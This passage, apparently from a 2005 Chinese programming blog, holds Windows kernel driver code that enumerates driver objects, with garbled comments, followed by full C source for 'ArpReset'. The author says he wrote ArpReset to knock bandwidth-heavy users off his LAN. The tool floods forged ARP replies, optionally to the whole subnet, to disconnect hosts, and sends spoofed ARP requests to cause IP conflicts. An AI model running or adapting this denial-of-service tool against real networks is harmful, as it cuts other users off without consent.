    BYTE     P               : 1;
    BYTE     E               : 1;
    BYTE     I               : 1;
    BYTE     M               : 1;
    BYTE     Q               : 1;
} OBJECT_SUB_HEADER_INFO, *POBJECT_SUB_HEADER_INFO;

typedef struct _OBJECT_INFO
{
    DWORD    Attributes;         //00h OBJECT_ATTRIBUTES.Attributes
    HANDLE   RootDirectory;      //04h
    DWORD    Reserved;           //08h – Unknown or Res.
    KPROCESSOR_MODE bMode;       //0ch
    BYTE     Reserved1[3];       //0dh – Alignment
    DWORD    PagedPoolQuota;     //10h
    DWORD    NonPagedPoolQuota;  //14h
    DWORD    QotaInformationSize;//18h – 疣珈屦 SID 沭箫稃
    //+ 疣珈屦 DACL (铌痼汶屙睇?
    PSECURITY_DESCRIPTOR SelfRelSecDescriptor;
    //1ch – 箨噻囹咫?磬 Self Relativ.
    //溴耜痂矧铕 徨珙镟耥铖蜩 如 Non Paed Pool
    PSECURITY_QUALITY_OF_SERVICE pSecQual;    //20h
    SECURITY_QUALITY_OF_SERVICE SecQuality;   //24h
    //30h
} OBJECT_INFO,*POBJECT_INFO;

typedef struct _QUOTA_BLOCK
{
    KSPIN_LOCK QuotaLock;
    DWORD RefCounter;            // 潆 耜铍桴 镳铞羼耦?铗 犭铌
    DWORD PeakNonPagedPoolUsage;
    DWORD PeakPagedPoolUsage;
    DWORD NonPagedpoolUsage;
    DWORD PagedPoolUsage;
    DWORD NonPagedPoolLimit;
    DWORD PagedPoolLimit;
    DWORD PeakPagefileUsage;
    DWORD PagefileUsage;
    DWORD PageFileLimit;
} QUOTA_BLOCK,*PQUOTA_BLOCK;

typedef struct _OBJECT_HEADER
{
    ULONG RefCounter;                     // 麒耠?耨铌 磬 钺牝   00
    ULONG HandleCounter;                  // 阻耠?觚礓腩?           04   
    POBJECT_TYPE ObjectType;              // 钺牝-蜩?              08      
    OBJECT_SUB_HEADER_INFO SubHeaderInfo; // 铒桉囗?龛驽             0c  
    union                                 //                          10
    {
        POBJECT_INFO ObjectInfo;
        PQUOTA_BLOCK pQuotaBlock;
    } a;
    PSECURITY_DESCRIPTOR  SecurityDescriptor;           //             14 Optional
} OBJECT_HEADER, *POBJECT_HEADER;

#define SIZE_OF_OBJECT_HEADER (sizeof(OBJECT_HEADER)) //(0×18)

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
                        IN PUNICODE_STRING ObjectPath,
                        IN ULONG Attributes,
                        IN PACCESS_STATE PassedAccessState OPTIONAL,
                        IN ACCESS_MASK DesiredAccess OPTIONAL,
                        IN POBJECT_TYPE ObjectType,
                        IN KPROCESSOR_MODE AccessMode,
                        IN OUT PVOID ParseContext OPTIONAL,
                        OUT PVOID *ObjectPtr
                        );  

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryObject (HANDLE DirectoryObjectHandle,
                       PVOID ObjectInfoBuffer,
                       ULONG ObjectInfoBufferLength,
                       DIRECTORYINFOCLASS DirectoryInformationClass,
                       BOOLEAN First,
                       PULONG ObjectIndex,
                       PULONG LengthReturned);

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenDirectoryObject (
    OUT PHANDLE             DirectoryHandle,
    IN ACCESS_MASK          DesiredAccess,
    IN POBJECT_ATTRIBUTES   ObjectAttributes
    );

extern PVOID IoDriverObjectType;

BOOLEAN _MmIsAddressValid(PVOID Address)
{
    if (!Address)
        return FALSE;
    return MmIsAddressValid(Address);
}

PVOID GetObjectByPath(PWSTR pwszObjectName, PVOID pObjectType)
{
    PVOID              pObject = NULL;
    UNICODE_STRING     DeviceName;
    NTSTATUS           NtStatus = 0;
    //  ANSI_STRING        FileNameAnsi;

    if (!pwszObjectName || KeGetCurrentIrql() > PASSIVE_LEVEL)
        return pObject;


    RtlInitUnicodeString(&DeviceName, pwszObjectName);

    //  RtlUnicodeStringToAnsiString(&FileNameAnsi, &DeviceName, TRUE);
    //  if (strlen(FileNameAnsi.Buffer))
    //    DbgPrint ("%s\n", FileNameAnsi.Buffer);
    //  RtlFreeAnsiString(&FileNameAnsi);


    NtStatus = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)pObjectType, KernelMode, NULL, (PVOID*)&pObject);

    if (NT_SUCCESS(NtStatus))
    {
        ObDereferenceObject((PVOID)pObject);
    }

    return pObject;
}

POBJECT_NAME GetNameOfObject(PVOID pObject)
{
    POBJECT_NAME    pObjectName = NULL;
    POBJECT_HEADER  pObjectHdr;

    if (_MmIsAddressValid(pObject))
    {
        pObjectHdr = (POBJECT_HEADER) ((PBYTE)pObject – SIZE_OF_OBJECT_HEADER);
        if (_MmIsAddressValid(pObjectHdr))
        {
            if (pObjectHdr->SubHeaderInfo.NameOffset != 0)
            {
                pObjectName = (POBJECT_NAME) ((PBYTE)pObjectHdr – pObjectHdr->SubHeaderInfo.NameOffset);
            }
        }
    }

    return pObjectName;
}

void ScanObjectDirectory(PWSTR pwszObjectDir)
{
    int                    i;
    UNICODE_STRING         DirString;
    OBJECT_ATTRIBUTES      DirAttr;
    NTSTATUS               NtStatus;
    HANDLE                 hDir;
    CHAR                   Buf[512];
    WCHAR                  DriverPath[256];
    BOOLEAN                bFirst = TRUE;
    ULONG                  ObjectIndex = 0;
    ULONG                  LengthReturned = 0;
    ULONG                  Index = 0;
    POBJECT_NAMETYPE_INFO  pObjName = (POBJECT_NAMETYPE_INFO) Buf;
    PDRIVER_OBJECT         pDriverObject;

    if (_MmIsAddressValid(pwszObjectDir) && _MmIsAddressValid(ZwQueryDirectoryObject))
    {
        bFirst = TRUE;
        ObjectIndex = 0;
        LengthReturned = 0;
        Index = 0;

        RtlInitUnicodeString(&DirString, pwszObjectDir);
        InitializeObjectAttributes(&DirAttr, &DirString, OBJ_CASE_INSENSITIVE, NULL, NULL);
        NtStatus = ZwOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &DirAttr);
        if (NtStatus == STATUS_SUCCESS)
        {
            while (ZwQueryDirectoryObject(hDir, Buf, sizeof(Buf), ObjectArray, bFirst, &ObjectIndex, &LengthReturned) >= 0)
            {
                bFirst = FALSE;
                for (i=0; Index<ObjectIndex; ++Index, ++i)
                {
                    wcscpy(DriverPath, pwszObjectDir);
                    wcscat(DriverPath, L"\\");
                    if ((sizeof(DriverPath)-wcslen(DriverPath)-sizeof(WCHAR)) > pObjName[i].ObjectName.Length)
                    {
                        wcscat(DriverPath, pObjName[i].ObjectName.Buffer);
                        pDriverObject = (PDRIVER_OBJECT)GetObjectByPath(DriverPath, IoDriverObjectType);
                        DbgPrint("%ws\n", DriverPath);
                    }
                }
            }
            ZwClose(hDir);
        }
    }
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("OnUnload called\n");
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    //ULONG mem;
    DbgPrint("DriverEntry called!");

    //DbgPrompt("How many MS to wait?? %d", &mem);
    ScanObjectDirectory(L"\\Driver");
    ScanObjectDirectory(L"\\FileSystem");
    return STATUS_SUCCESS;
}

2005年09月10日

更新用了驱动.还有一个BUG.

>> 下载 <<

局域网中有些人开个BT软件搞的整个网络速度N慢,且丢包严重. 于是写个这样的东东整整他们.
利用ARP欺骗的原理让他们掉线. 再写了IP冲突的东东.

/****************************************************

                     ArpReset

                  Made By ZwelL

                    2005-9-11

            http://www.donews.net/zwell

                  zwell@sohu.com

****************************************************/

#include <stdio.h>

#include "pcap.h"

#include "Packet32.h"

#include "ntddndis.h"

#include <windows.h>

#include <process.h>

#include <iphlpapi.h>



#pragma comment (lib, "packet.lib")

#pragma comment (lib, "wpcap.lib")

#pragma comment (lib, "ws2_32.lib")

#pragma comment (lib, "iphlpapi.lib")



#define EPT_IP         0×0800            /* type: IP    */

#define EPT_ARP        0×0806            /* type: ARP */

#define EPT_RARP       0×8035            /* type: RARP */

#define ARP_HARDWARE   0×0001            /* Dummy type for 802.3 frames  */

#define ARP_REQUEST    0×0001            /* ARP request */

#define ARP_REPLY      0×0002            /* ARP reply */



#pragma pack(push, 1)



typedef struct ehhdr

{

    unsigned char    eh_dst[6];        /* destination ethernet addrress */

    unsigned char    eh_src[6];        /* source ethernet addresss */

    unsigned short    eh_type;        /* ethernet pachet type    */

}EHHDR, *PEHHDR;





typedef struct arphdr

{

    unsigned short    arp_hrd;            /* format of hardware address */

    unsigned short    arp_pro;            /* format of protocol address */

    unsigned char    arp_hln;            /* length of hardware address */

    unsigned char    arp_pln;            /* length of protocol address */

    unsigned short    arp_op;                /* ARP/RARP operation */



    unsigned char    arp_sha[6];            /* sender hardware address */

    unsigned long    arp_spa;            /* sender protocol address */

    unsigned char    arp_tha[6];            /* target hardware address */

    unsigned long    arp_tpa;            /* target protocol address */

}ARPHDR, *PARPHDR;



typedef struct chkstruct

{

    char gatewaymac[6];

    char currentip[30];

}CHKSTRUCT, *PCHKSTRUCT;



typedef struct arpPacket

{

    EHHDR    ehhdr;

    ARPHDR    arphdr;

} ARPPACKET, *PARPPACKET;



#pragma pack(pop)



//将字符串转换成mac地址的函数

void GetMacAddr(char *s,char *mac)  

{

    // mac address *must* be in form 001122334455

    int i;

    char tmp[3];

    for (i = 0; i < 6; i++)

    {

        memset(tmp, 0, 3);

        strncpy(tmp, s+i*2, 2);

        mac[i] = (unsigned char)strtol(tmp, NULL, 16);

    }

}



//

//功能:输入IP取得对应的MAC地址

//

BOOL GetMacFromIp(char* DestIP, char *pMAC)

{

    DWORD    dwRet;

    ULONG    ulLen = 6, pulMac[2];

    dwRet = SendARP(inet_addr(DestIP), 0, pulMac, &ulLen);

    if(dwRet == NO_ERROR)

    {

        memcpy(pMAC, pulMac, 6);

        return TRUE;

    }

    else return FALSE;

}



//

//功能:检查Arp欺骗的线程

//

DWORD WINAPI CheckArpSnoofThread(LPVOID chk)

{

    PCHKSTRUCT tmpchk=(PCHKSTRUCT)chk;

    char tmpmac[6];



    memset(tmpmac, 0, 6);



    GetMacFromIp(tmpchk->currentip, tmpmac);

    printf("%s:",tmpchk->currentip);

    PrintMacAddr(tmpmac);

    if(strncmp(tmpmac, tmpchk->gatewaymac, 6))

    {

        printf("%s equal the gataway\n", tmpchk->currentip);

    }

    return FALSE;



}



//

//功能:检查Arp欺骗

//

BOOL CheckArpSnoof(char* gatewayIP)

{

    char subip[30];

    char *p;

    int i;

    CHKSTRUCT tmpchk;



    strcpy(subip, gatewayIP);

    p = strstr(subip, ".")+1;

    p = strstr(p, ".")+1;

    p = strstr(p, ".")+1;

    subip[p-subip]=0×0;



    memset(&tmpchk, 0, sizeof(tmpchk));

    GetMacFromIp(gatewayIP, tmpchk.gatewaymac);

    for(i=1; i<255; i++)

    {

        sprintf(tmpchk.currentip, "%s%d", subip, i);

        //printf("%s", tmpchk.currentip);

        //getchar();

        CreateThread(NULL, 0, CheckArpSnoofThread, &tmpchk, 0, 0);

        Sleep(200);

    }



    return FALSE;

}



BOOL PrintMacAddr(u_char *pMAC)

{

    int i;

    //

    // Convert the binary MAC address into human-readable

    //

    for (i = 0; i < 6; i++)

    {

        printf("%02x", pMAC[i]);

    }

    printf("\n");

    return TRUE;

}



//

//功能:ARP欺骗,我用来让指定IP的机器断线,

//      其中all指定是否影响整个网段

//

void ArpAttack(pcap_t *tHandle, char *dstip, char *dstmac, char *srcip, char *srcmac, BOOL all)

{

    char MacAddr[6];

    pcap_t *fp=tHandle;

    ARPPACKET ARPPacket;





    // the fake mac of multicast

    if(all)

    {

        GetMacAddr("FFFFFFFFFFFF", MacAddr);

        memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);

    }

    else

        memcpy(ARPPacket.ehhdr.eh_dst, dstmac, 6);



    //the MAC of sender

    GetMacAddr("FFFFFFFFFFFF", MacAddr);

    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);



    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);



    //arp header

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

    ARPPacket.arphdr.arp_pro = htons(EPT_IP);

    ARPPacket.arphdr.arp_hln = 6;

    ARPPacket.arphdr.arp_pln = 4;

    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);



    GetMacAddr(srcmac, MacAddr);

    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);

    ARPPacket.arphdr.arp_spa = inet_addr(srcip);



    GetMacAddr(dstmac, MacAddr);

    memcpy(ARPPacket.arphdr.arp_tha , dstmac, 6);

    ARPPacket.arphdr.arp_tpa = inet_addr(dstip);



    /* Send down the packet */

    while(1)

    {

        while (pcap_sendpacket(fp,    // Adapter

            &ARPPacket,                // buffer with the packet

            sizeof(ARPPacket)                    // size

            ) != 0)

        {

            printf("Error sending the packet: %d\n", pcap_geterr(fp));

            return;

        }

        Sleep(5000);

    }



    printf ("Send ok!\n\n");

}





/****************************************************************

IP冲突用的 ;-)

****************************************************************/

void IpAttack(pcap_t *tHandle, char *ip)

{

    char MacAddr[6];

    pcap_t *fp=tHandle;

    ARPPACKET ARPPacket;





    // the fake mac of multicast

    GetMacAddr("FFFFFFFFFFFE", MacAddr);



    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);



    //the MAC of sender

    GetMacAddr("FFFFFFFFFFFE", MacAddr);

    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);



    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);



    //arp header

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

    ARPPacket.arphdr.arp_pro = htons(EPT_IP);

    ARPPacket.arphdr.arp_hln = 6;

    ARPPacket.arphdr.arp_pln = 4;

    ARPPacket.arphdr.arp_op = htons(ARP_REQUEST);



    GetMacAddr("111111111111", MacAddr);

    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);

    ARPPacket.arphdr.arp_spa = inet_addr(ip);



    GetMacAddr("222222222222", MacAddr);

    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);

    ARPPacket.arphdr.arp_tpa = inet_addr(ip);



    /* Send down the packet */

    while(1)

    {

        while (pcap_sendpacket(fp,    // Adapter

            &ARPPacket,                // buffer with the packet

            sizeof(ARPPacket)                    // size

            ) != 0)

        {

            printf("Error sending the packet: %d\n", pcap_geterr(fp));

            return;

        }

        Sleep(100);

    }



    printf ("Send ok!\n\n");

}



void help()

{

    printf("arpreset srcip detip destmac [all]\n");

    printf("example:\n\tarpreset.exe 192.168.1.2 192.168.1.1 000aebcd0138 all\n");

    exit(0);

}



int main(int argc, char* argv[])

{

    pcap_if_t *alldevs;

    pcap_if_t *d;

    u_char MacAddr[6], savedMacAddr[6];

    int inum;

    int i=0;

    pcap_t *adhandle;

    char errbuf[PCAP_ERRBUF_SIZE];



    /*CheckArpSnoof("192.168.1.1");*/

    if(argc<4)

        help();



    /* Retrieve the device list */

    if(pcap_findalldevs(&alldevs, errbuf) == -1)

    {

        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

        exit(1);

    }



    /* Print the list */

    printf("============================================\n");

    for(d=alldevs; d; d=d->next)

    {

        printf("%d.", ++i);

        if (d->description)

            printf(" %s\n", d->description);

        else

            printf(" No description available\n");

    }



    if(i==0)

    {

        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

        return -1;

    }

    printf("============================================\n");

    printf("Choice the interface number (1-%d):",i);



    scanf("%d", &inum);



    if(inum < 1 || inum > i)

    {

        printf("\nInterface number out of range.\n");

        /* Free the device list */

        pcap_freealldevs(alldevs);

        return -1;

    }



    /* Jump to the selected adapter */

    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);



    /* Open the device */

    /* Open the adapter */

    if ((adhandle= pcap_open_live(d->name,    // name of the device

        65536,            // portion of the packet to capture.

        // 65536 grants that the whole packet will be captured on all the MACs.

        1,                // promiscuous mode (nonzero means promiscuous)

        1000,            // read timeout

        errbuf            // error buffer

        )) == NULL)

    {

        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);

        /* Free the device list */

        pcap_freealldevs(alldevs);

        return -1;

    }



    printf("\nOperation on %s…\n", d->description);

    GetMacFromIp(argv[2], savedMacAddr);

    printf("The mac of %s is :", argv[2]);

    PrintMacAddr(savedMacAddr);

    GetMacFromIp(argv[1], MacAddr);

    ArpAttack(adhandle, argv[1], MacAddr, "192.168.1.1", argv[3], (argc==5));

    printf ("\n\nDetecting end.\n");



    // close the adapter and exit

    pcap_freealldevs(alldevs);

    pcap_close(adhandle);    



    return 0;

}